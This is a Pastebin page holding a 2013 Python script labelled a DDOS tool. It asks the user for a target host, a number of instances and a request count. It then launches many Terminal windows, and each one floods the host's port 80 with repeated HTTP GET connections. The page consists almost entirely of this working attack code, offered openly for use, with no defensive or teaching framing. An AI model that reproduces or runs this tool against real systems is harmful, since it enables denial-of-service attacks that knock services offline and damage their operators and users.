ChristianGaerter

Python DDOS Tool

Feb 12th, 2013
8,561
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.88 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #---------------------------#
  4. #(c)2013 by Christian Gaertner
  5. #---------------------------#
  6.  
  7. #imports
  8. import os
  9. import sys
  10. import time
  11. import socket
  12.  
  13.  
  14.  
  15. master = 'true'
  16. exe = 'false'
  17. afterSettingsLoop = 'y'
  18.  
  19.  
  20. if len(sys.argv) == 3:
  21.     master = 'false'
  22.     exe = 'true'
  23.  
  24.  
  25. if master == 'true':
  26.     os.system('clear')
  27.     print('++++++++++++++++++++++SERVER ATTACK++++++++++++++++++++++++')
  28.     print('+++++++++++++++++(c)2013 Christian Gaertner+++++++++++++++++')
  29.     print('')
  30.         #get user input
  31.     #get current script path
  32.     path = raw_input('Please drag this file on this terminal-window and press <enter>!\n>>> ')
  33.  
  34.     #instances
  35.     instances_str = raw_input('How many instances do you want to open [1-200]?\nINFO:\nIf you enter a non valid number the default of 1 will be chosen!\n>>> ')
  36.  
  37.     try:
  38.         instances = int(instances_str)
  39.     except ValueError:
  40.         instances = 1
  41.  
  42.     #times
  43.     times_str = raw_input('How often should be the host attacked by the script [1-1000000]?\nINFO:\If you enter a non valid number the default of 1000 will be chosen!\n>>> ')
  44.     #print ('times: ' + times_str)
  45.  
  46.     try:
  47.         times = int(times_str)
  48.     except ValueError:
  49.         times = 1000
  50.  
  51.  
  52.     #host
  53.     host = raw_input('Which host do you want to attack?\n>>> ')
  54.     #print ('Host: ' + host)
  55.  
  56.  
  57.  
  58.     print('++++++++++++++++++++++SETTINGS++++++++++++++++++++++++')
  59.     print('Instances: ' + str(instances))
  60.     print('Attacks: ' + str(times))
  61.     print('Host: ' + host)
  62.     print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')
  63.     while afterSettingsLoop == 'y':
  64.         moveOn = raw_input('Do you want to start the attack with the settings above? [y/n]\nINFO:\nTo cancle the attack before completion press <ctrl> and <C>\n>>> ')
  65.  
  66.         if moveOn == 'n':
  67.             print('Attack abbording...')
  68.             time.sleep(1)
  69.             print('...')
  70.             time.sleep(1)
  71.             print('Attack canceled!')
  72.             time.sleep(2)
  73.             os.system('clear')
  74.             sys.exit()
  75.         elif moveOn == 'y':
  76.             cmd = 'python {0} {1} {2}'.format(path, times, host)
  77.             command = "osascript -e 'tell application \"Terminal\" to do script \"{0}\"'".format(cmd)
  78.             for x in xrange(0,instances):
  79.                 os.system(command)
  80.             afterSettingsLoop = 'n'
  81.             sys.exit()
  82.         else:
  83.             os.system('clear')
  84.             print('Answer either with \"y\" or \"n\" (WITHOUT \" \")!\n')
  85.             time.sleep(5)
  86.             os.system('clear')
  87.  
  88.  
  89. if exe == 'true':
  90.  
  91.     #convert arg to variable
  92.     times = int(sys.argv[1])
  93.     host = sys.argv[2]
  94.  
  95.     def attack():  
  96.         #pid = os.fork()  
  97.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  98.         s.connect((host, 80))  
  99.         print ">> GET /" + host + " HTTP/1.1"  
  100.         s.send("GET /" + host + " HTTP/1.1\r\n")  
  101.         s.send("Host: " + host  + "\r\n\r\n");  
  102.         s.close()
  103.  
  104.     os.system('clear')
  105.     print('][....ATTACKING....')
  106.     print('][....HOST:{0}'.format(host))
  107.     print('][....Starting in 5sec...')
  108.     time.sleep(5)
  109.     print('][...STARTED...][')
  110.     #execute the DDOS
  111.     for x in xrange(0, times):  
  112.         attack()
Advertisement
Add Comment
Please, Sign In to add comment